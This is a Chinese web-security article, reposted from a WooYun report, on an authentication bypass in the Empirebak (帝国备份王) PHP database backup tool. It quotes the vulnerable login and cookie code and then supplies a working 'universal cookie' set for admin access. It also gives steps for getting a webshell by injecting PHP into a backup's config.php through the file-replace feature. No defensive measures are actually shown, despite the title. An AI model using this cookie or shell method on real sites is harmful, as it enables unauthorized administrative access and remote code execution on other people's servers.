帝国备份王(Empirebak)万能cookie及拿shell方法与防御

所属分类: 网络安全 / 脚本攻防 阅读数: 329
收藏 0 赞 0 分享
转自wooyun http://www.wooyun.org/bugs/wooyun-2014-078591
1.伪造cookie登录系统(其实这一步多余的,大多用户连密码都没改,都是默认的123456)

登录成功设置4个cookie,看代码

PHP Code复制内容到剪贴板
  1. function login($lusername,$lpassword,$key,$lifetime=0){    
  2. global $set_username,$set_password,$set_loginauth,$set_loginkey;    
  3. if(emptyempty($lusername)||emptyempty($lpassword)) {     
  4. printerror("EmptyLoginUser","index.php");     
  5. }    
  6. //验证码    
  7. if(!$set_loginkey)    
  8. {    
  9. if($key<>getcvar('checkkey')||emptyempty($key))    
  10. {    
  11. printerror("FailLoginKey","index.php");    
  12. }    
  13. }    
  14. if(md5($lusername)<>md5($set_username)||md5($lpassword)<>$set_password)    
  15. {    
  16. printerror("ErrorUser","index.php");    
  17. }    
  18. //认证码    
  19. if($set_loginauth&$set_loginauth!=$_POST['loginauth'])    
  20. {    
  21. printerror("ErrorLoginAuth","index.php");    
  22. }    
  23. $logintime=time();    
  24. $rnd=make_password(12);//生成随机字符    
  25. $s1=esetcookie("bakusername",$lusername,0);    
  26. $s2=esetcookie("bakrnd",$rnd,0);//随机字符    
  27. $s3=esetcookie("baklogintime",$logintime,0);    
  28. Ebak_SCookieRnd($lusername,$rnd);//    
  29. if(!$s1||!$s2)    
  30. {    
  31. printerror("NotOpenCookie","index.php");    
  32. }    
  33. printerror("LoginSuccess","admin.php");    
  34. }  

再看看make_password函数

PHP Code复制内容到剪贴板
  1. function make_password($pw_length){    
  2. $low_ascii_bound=50;    
  3. $upper_ascii_bound=122;    
  4. $notuse=array(58,59,60,61,62,63,64,73,79,91,92,93,94,95,96,108,111);    
  5. while($i<$pw_length)    
  6. {    
  7. mt_srand((double)microtime()*1000000);    
  8. $randnum=mt_rand($low_ascii_bound,$upper_ascii_bound);    
  9. if(!in_array($randnum,$notuse))    
  10. {    
  11. $password1=$password1.chr($randnum);    
  12. $i++;    
  13. }    
  14. }    
  15. return $password1;    
  16. }  

这个函数只是生成随机数,再看看Ebak_SCookieRnd函数

PHP Code复制内容到剪贴板
  1. function Ebak_SCookieRnd($username,$rnd){    
  2. global $set_loginrnd;//$set_loginrnd为config.php里面的验证随机码    
  3. $ckpass=md5(md5($rnd.$set_loginrnd).'-'.$rnd.'-'.$username.'-');//没有把密码加进去,于是漏洞产生了    
  4. esetcookie("loginebakckpass",$ckpass,0);    
  5. }  

下面给出万能cookie(key:value):

XML/HTML Code复制内容到剪贴板
  1. ebak_loginebakckpass:119770adb578053dcb383f67a81bcbc6    
  2. ebak_bakrnd:35y5cCnnA4Kh    
  3. ebak_bakusername:admin    
  4. ebak_baklogintime:4070883661  

使用以上cookie即可直接访问admin.php

2.拿shell

后台参数设置一般都设置好了,如果不能连接数据库,可以在数据库设置里填个自己的远程数据库

备份数据,随便找个数据库备份,

然后到替换目录文件内容里,选择刚才备份的数据库,

将”$b_table=”

替换成

“phpinfo();

$b_table=”


这里shell的路径就是bdata/mysql_20141007221849/config.php

更多精彩内容其他人还在看

网站个人渗透技巧收集与总结

这篇文章主要介绍了网站个人渗透技巧收集与总结 ,大家也要注意一下不要犯下面的错误,需要的朋友可以参考下
收藏 0 赞 0 分享

网站MYSQL数据库高级爆错注入原分析

国内只有一大堆高级爆错的利用代码 没人分析原因 这个是去官网查资料后分析给出的,需要的朋友可以参考下
收藏 0 赞 0 分享

详解如何通过“鼠洞”控制电脑

大家都知道,没有一台电脑是完全安全的,都有一个攻破点,下面小编就以实例来讲解一下,一起来看看吧
收藏 0 赞 0 分享

浅谈史上最大DDoS攻击的本质与防范

DDos攻击是现在大部分用户最喜欢的一个话题,近两年来发展态势也渐趋平缓,欧洲反垃圾邮件组织Spamhaus突然遭受到高达300Gbps的大流量DDos攻击被认为是史上最大DDoS攻击,下面小编带你一起分析分析
收藏 0 赞 0 分享

使用爬虫采集网站时,解决被封IP的几种方法

这篇文章主要介绍了使用爬虫采集网站时,解决被封IP的几种方法的相关资料,需要的朋友可以参考下
收藏 0 赞 0 分享

Python 爬虫使用动态切换ip防止封杀

这篇文章主要介绍了Python 爬虫使用动态切换ip防止封杀的相关资料,需要的朋友可以参考下
收藏 0 赞 0 分享

XSS绕过技术 XSS插入绕过一些方式总结

我们友情进行XSS检查,偶然跳出个小弹窗,其中我们总结了一些平时可能用到的XSS插入方式,方便我们以后进行快速检查,也提供了一定的思路,其中XSS有反射、存储、DOM这三类,至于具体每个类别的异同之处,本文不做学术介绍,直接介绍实际的插入方式
收藏 0 赞 0 分享

一句话木马后门在防注入中的重生

对于目前流行的sql注入,程序员在编写程序时,都普遍的加入防注入程序,有些防注入程序只要在我们提交一些非法的参数后,就会自动的记录下你的IP地址,提交的非法参数和动作等,同时也把非法提交的数据写入了系统的后缀为ASP的文件中,这也给了我们一些可利用的地方
收藏 0 赞 0 分享

ASP+PHP 标准sql注入语句(完整版)

这里为大家分享一下sql注入的一些语句,很多情况下由于程序员的安全意识薄弱或基本功不足就容易导致sql注入安全问题,建议大家多看一下网上的安全文章,最好的防范就是先学会攻击
收藏 0 赞 0 分享

SQL注入黑客防线网站实例分析

这篇文章主要介绍了SQL注入黑客防线网站实例分析,需要的朋友可以参考下
收藏 0 赞 0 分享
查看更多